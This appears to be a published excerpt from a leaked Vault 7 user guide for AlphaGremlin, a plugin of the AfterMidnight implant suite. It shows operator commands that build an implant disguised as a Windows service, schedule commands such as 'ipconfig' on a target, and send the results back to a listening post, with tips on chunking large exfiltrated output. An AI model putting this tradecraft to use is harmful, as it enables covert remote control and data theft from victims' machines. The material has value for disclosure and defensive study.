# Vault 7: Projects

This publication series is about specific projects related to the Vault 7 main publication.

### AfterMidnight

# AlphaGremlin v0.1.0 Users Guide

1 June, 2014

- 1
- 2
- 3
- 4
…
- 6
- 7

• Use in the AM suite
AlphaGremlin is not directly executable in the AM suite. Instead of being
directly called, a user can add commands to the .config field. When the
Gremlin is scheduled, all commands will be run in seperate instances of the
cmd.exe process. Alternately, users can schedule commands to run in
certain time periods.
Example am commands:
am
create target -n mytarget -a x86 -d 2w -b 60 -j 10 -l '10.3.2.174' -c
4096 -i 0 --base-url 'am/' target
create build -s "AfterMidnight Service" -d "AfterMidnight Desc" -N
"AfterMidnight Display Name" -c "C:\am\MidnightCore.dll" -D
"C:\am\data" -S "C:\am\staging" -C "C:\am\config" -K "C:\am\killfile"
mybuild
create plan -n myplan plan
plan myplan add Alpha
plan myplan config Alpha add -c "ipconfig"
generate mybuild mytarget
commit myplan mytarget
This would cause, on target, for the results of running "ipconfig" in cmd.exe
to be sent back to the LP where it could be decrypted and read. The
command would only run once.
If for whatever reason, AlphaGremlin is still running a command when it
receives a GREMLIN_CLOSE_ID signal (ie "ping 8.8.8.8 -t"), it will terminate all
of its instances of cmd.exe safely and avoid any memory leaks due to dead
handles or surviving processes. If AlphaGremlin is closed in a different
manner, this is not guaranteed behavior.
When running commands that have the potential to create lots of data to be
sent back (for example, a recursive dir on the entire drive), it is important to
make sure the chunk size (-c #) is large enough. If the chunk size is too
small, AfterMidnight will attempt to break up data into small chunks, and will
have to perform RSA on each chunk, which has a high time cost.

- 1
- 2
- 3
- 4
…
- 6
- 7